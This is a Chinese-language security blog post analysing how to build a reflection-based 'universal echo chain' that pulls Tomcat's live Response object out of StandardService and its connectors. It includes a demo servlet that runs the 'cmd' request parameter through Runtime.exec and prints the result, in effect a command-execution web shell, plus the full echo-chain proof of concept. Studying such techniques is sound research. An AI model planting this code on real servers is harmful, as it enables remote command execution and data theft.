Java安全之基於Tomcat的通用回顯鏈
寫在前面
首先看這篇文還是建議簡單瞭解下Tomcat中的一些概念,不然看起來會比較吃力。其次是回顧下反射中有關Field類的一些操作。
* Field[] getFields() :獲取所有public修飾的成員變數
* Field getField(String name) 獲取指定名稱的 public修飾的成員變數
* Field[] getDeclaredFields() 獲取所有的成員變數,不考慮修飾符
* Field getDeclaredField(String name)
Field:成員變數
* 操作:
1. 設定值
* void set(Object obj, Object value)
2. 獲取值
* get(Object obj)
3. 忽略訪問許可權修飾符的安全檢查
* setAccessible(true):暴力反射
getField和getDeclaredField區別:
getField
獲取一個類的 ==public成員變數,包括基類== 。
getDeclaredField
獲取一個類的 ==所有成員變數,不包括基類== 。
Tomcat 通用回顯
是Litch1
師傅提出的一個思路,通過找Tomcat中全域性儲存的request或response物件,進而挖掘出一種在Tomcat下可以通殺的回顯鏈。依據師傅的文章進行除錯。
除錯前先解決一個問題,普通的一個命令執行是如何進行回顯的。
程式碼如下:整體流程就是通過request
物件拿到我們要執行的命令,並作為引數帶到執行命令的方法中,將命令結果作為InputStream
,通過response
物件resp.getWriter().write()
方法輸出命令執行的結果,從而在頁面獲得回顯。
@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req,resp);
}
}
除錯分析
那麼在回顯鏈中也就需要我們拿到response
物件。
如果需要找一個全域性儲存的request或response物件,那就要在底層看Tomcat處理request或response物件的流程。
這裡起了一個Tomcat9.0.24做測試,debug後觀察呼叫棧,進入文章中提到的Http11Processor
類
在該類的父類AbstractProcessor
中,存在request和response物件,並且是final修飾的,那麼就不可以被直接修改,且該request和response符合我們的預期,我們可以通過這裡的request和response物件構造回顯。
接下來就是往前尋找這個類在什麼地方進行初始化的,這樣拿到Http11Processor
物件就可以獲取到request和response物件了。
在 AbstractProtocol$ConnectionHandler (org.apache.coyote)
中發現已經生成了Http1Processor
物件
register
方法中處理如下:最終是將一個RequestGroupInfo
物件放到了AbstractProtocol
的內部類ConnectionHandler
中的global
屬性
而RequestGroupInfo
儲存了一個RequestInfo
的List
在RequestInfo
中就包含了Request
物件,那麼可以通過Request
物件來拿到我們最終的Response
(Request.getResponse()
)。
呼叫流程如下:
AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。
後面就是要找有沒有地方有儲存AbstractProtocol(繼承AbstractProtocol的類)。發現在CoyoteAdapter
類中的connector
屬性有很多處理Request的操作,跟進檢視後Connector中存在ProtocolHandler型別的Field,而ProtocolHandler的實現類中就存在AbstractProtocol
而在Tomcat啟動過程紅會將Connector放入Service中,這裡的Service為StandardService。
所以呼叫鏈變為
StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
而獲取StandardService
就變成了現在的關鍵,文中給出的是通過執行緒上下文類載入器,WebappClassLoaderBase
Thread類中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用來獲取和設定上下文類載入器,如果沒有setContextClassLoader(ClassLoader cl)方法通過設定類載入器,那麼執行緒將繼承父執行緒的上下文類載入器,如果在應用程式的全域性範圍內都沒有設定的話,那麼這個上下文類載入器預設就是應用程式類載入器。對於Tomcat來說ContextClassLoader被設定為WebAppClassLoader(在一些框架中可能是繼承了public abstract WebappClassLoaderBase的其他Loader)。
最後的呼叫鏈為
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
回顯鏈構造與分析
先放上程式碼
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;
@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
/*
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
*/
//0x01 首先通過WebappClassLoaderBase來拿到StandardContext上下文
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
//0x02 反射獲取ApplicationContext上下文。丟擲疑問1:為什麼要拿這個上下文?
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
//0x03 反射獲取StandardService型別的屬性service的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
//0x04 反射獲取StandardService中的Connectors陣列
Field connectors = standardService.getClass().getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
//0x04 反射獲取protocolHandler,為後續獲取RequestGroupInfo陣列作準備
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
//0x05 反射獲取AbstractProtocol list。丟擲疑問2:為什麼要用getDeclaredClasses()?
Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
//這裡的classes陣列為內建類,AbstractProtocol有兩個內建類:ConnectionHandler、RecycledProcessors,我們需要的是ConnectionHandler
for (Class<?> declaredClass : declaredClasses) {
//通過全限定類名長度篩選出ConnectionHandler
if (declaredClass.getName().length()==52){
// 0x06 獲取getHandler方法,為後續獲取global屬性值:RequestGroupInfo陣列作準備
java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
// 0x07 反射獲取global屬性值:RequestGroupInfo陣列
Field global = declaredClass.getDeclaredField("global");
global.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));
// 0x08 反射獲取RequestGroupInfo中processors,該屬性值為元素型別為RequestInfo的List陣列
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<org.apache.coyote.RequestInfo> requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
// 0x09 反射獲取RequestInfo中的org.apache.coyote.Request類
Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req1.setAccessible(true);
// 0x10 遍歷RequestGroupInfo中processors的屬性值,尋找需要的Request物件
for (RequestInfo info : requestInfo) {
org.apache.coyote.Request request = (Request) req1.get(info);
// 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request物件。丟擲問題3:為什麼要用org.apache.catalina.connector.Request物件?丟擲問題4:為什麼要用getNote方法獲取?
org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
// 0x12 拿到response物件,回顯鏈構造完畢
org.apache.catalina.connector.Response response = request1.getResponse();
response.getWriter().write("123");
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
貼個回顯命令執行結果的圖慶祝一下
踩坑記錄
下面對構造回顯鏈的poc時的坑點以及疑問做一下記錄:
-
反射:關於反射之前沒有仔細學習Field類的相關方法,上面構造時經常要用到獲取某個類中某個屬性的值,以StandarService舉例,程式碼如下:獲取到Field物件之後需要呼叫field.get(context)來拿到對應屬性的值
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); service.setAccessible(true); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
-
關於回顯鏈程式碼中出現的兩個上下文:StandardContext和ApplicationContext
首先我們通過
webappClassLoaderBase.getResources().getContext()
拿到的是StandardContext
但是這還不夠,回顯鏈的入口點為StandardService
,而在StandardContext
上下文中是沒有儲存StandardService
的,需要先獲取`StandardContext成員變數ApplicationContext進而獲取Service。這點觀察原始碼就可以發現。在Servlet中ServletContext表示web應用的上下文環境,而對應在tomcat中,ServletContext對應tomcat實現是org.apache.catalina.core.ApplicationContext,Context容器對應tomcat實現是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一個成員變數。
-
反射獲取
AbstractProtocol
為什麼要用getDeclaredClasses()
因為這裡要獲取內部類
ConnectionHandler
,所以需要用到getDeclaredClasses()
方法獲取內部類 getDeclaredClasses()
獲取外部類 getDeclaringClass() -
最後為什麼用
org.apache.catalina.connector.Request
物件來獲取Response
org.apache.coyote.Request request = (Request) req1.get(info); // 0x11 通過getNote()方法獲取org.apache.catalina.connector.Request物件。丟擲問題3:為什麼要用org.apache.catalina.connector.Request物件?丟擲問題4:為什麼要用getNote方法獲取? org.apache.catalina.connector.Request request1
這裡
org.apache.coyote.Request
確實有getResponse方法,也能拿到Response物件,但是看一下org.apache.coyote.Response
程式碼和org.apache.catalina.connector.Response
區別:org.apache.coyote.Response
沒有實現HttpServletResponse
介面,也沒有getWriter()
等方法幫我們製造回顯,所以沒選擇用它。
-
關於Request物件哪裡的的getNote()方法
獲取到
Request
需要呼叫request.getNote(1);
轉換為org.apache.catalina.connector.Request
的物件。這個方法是在org.apache.coyote.Request中定義的,詳細解讀可參考:https://segmentfault.com/a/1190000022261740
通過呼叫 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 來獲取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 物件